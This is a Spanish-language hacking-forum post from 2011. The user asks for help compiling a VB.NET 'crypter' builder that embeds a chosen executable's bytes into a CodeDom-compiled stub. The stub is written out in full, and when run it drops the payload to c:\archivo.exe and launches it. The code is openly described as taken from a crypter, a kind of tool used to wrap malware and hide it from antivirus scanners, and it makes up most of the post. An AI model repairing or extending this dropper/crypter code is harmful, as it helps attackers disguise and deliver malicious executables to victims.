elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Ayuda a compilar con codedom, modulo de clase sacado de codedom crypter
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda a compilar con codedom, modulo de clase sacado de codedom crypter  (Leído 1,661 veces)
70N1


Desconectado Desconectado

Mensajes: 355


Ver Perfil
Ayuda a compilar con codedom, modulo de clase sacado de codedom crypter
« en: 17 Octubre 2011, 19:06 pm »

Hola. esto es lo que tengo en el evento button_click

Código:
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim open = OpenFileDialog1
open.Filter = "Executables *.exe|*.exe"
Dim save = OpenFileDialog1
save.Filter = "Executables *.exe|*.exe"        

open.ShowDialog()
Save.ShowDialog()

        Dim st As System.IO.Stream = System.IO.File.Open(open.FileName, _
   System.IO.FileMode.Open, System.IO.FileAccess.Read)

     Dim br As New System.IO.BinaryReader(st)
     Dim read() As Byte = br.ReadBytes(st.Length)

        br.Close()
        st.Close()

Dim source As String = My.Resources.source  

Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
Dim cadena As String = enc.GetString(read)
        source = source.Replace("%3%", cadena)

        iCompiler.GenerateExecutable(SaveFileDialog1.FileName, source, "")
      
 MsgBox("Crypted!", MsgBoxStyle.Information, "Success!")
        End

    End Sub
End Class



Y este es el modulo que compila y crea el ejecutable. (SACADO DE CODEDOM CRYPTER)

Código:
Imports System.CodeDom.Compiler
Public Class iCompiler
    Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String)
        'On Error Resume Next

        Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
        Dim Parameters As New CompilerParameters()
        Dim cResults As CompilerResults

        Parameters.GenerateExecutable = True
        Parameters.OutputAssembly = Output
        Parameters.ReferencedAssemblies.Add("System.dll")
        Parameters.ReferencedAssemblies.Add("System.Data.dll")
        Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")


        Dim Version = New Dictionary(Of String, String)
        Version.Add("CompilerVersion", "v2.0")

        Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"

        If Icon <> "" Then
            IO.File.Copy(Icon, ICO)
            Parameters.CompilerOptions &= " /win32icon:" & ICO
        End If

        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

        If cResults.Errors.Count > 0 Then
        ElseIf cResults.Errors.Count = 0 Then

        End If
        If Icon <> "" Then : IO.File.Delete(ICO) : End If
    End Sub
End Class

Y esto es lo que pone en el archivo de recursos txt. (LO QUE QUIERO COMPILAR)


Código:
Imports System, Microsoft.VisualBasic
Module uno
    Sub Main()
        Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
        Dim bytess() As Byte = enc.GetBytes(%3%)


        IO.File.WriteAllBytes("c:\archivo.exe", bytess)
        Call Shell( "c:\archivo.exe")
        End
    End Sub

End Module





No tengo ni idea de por que no me lo compila. alguna sugerencia?


« Última modificación: 17 Octubre 2011, 21:17 pm por 70N1 » En línea

70N1
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
modulo de clase cjepg
Programación Visual Basic
thewilly 0 1,071 Último mensaje 3 Julio 2005, 11:20 am
por thewilly
Problema con Modulo de clase
.NET (C#, VB.NET, ASP)
_katze_ 0 877 Último mensaje 10 Octubre 2011, 01:36 am
por _katze_
my.resources.source.replace(variable, variable) Ayuda codedom
.NET (C#, VB.NET, ASP)
70N1 4 3,635 Último mensaje 19 Octubre 2011, 12:57 pm
por 70N1
Leer recursos desde consola. codedom (EmbeddedResources.Add)
.NET (C#, VB.NET, ASP)
70N1 1 1,156 Último mensaje 20 Octubre 2011, 14:21 pm
por 70N1
Sabeis por que no se crea el hook?. codedom compileinmemory
.NET (C#, VB.NET, ASP)
70N1 1 1,671 Último mensaje 2 Febrero 2012, 17:27 pm
por 70N1
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines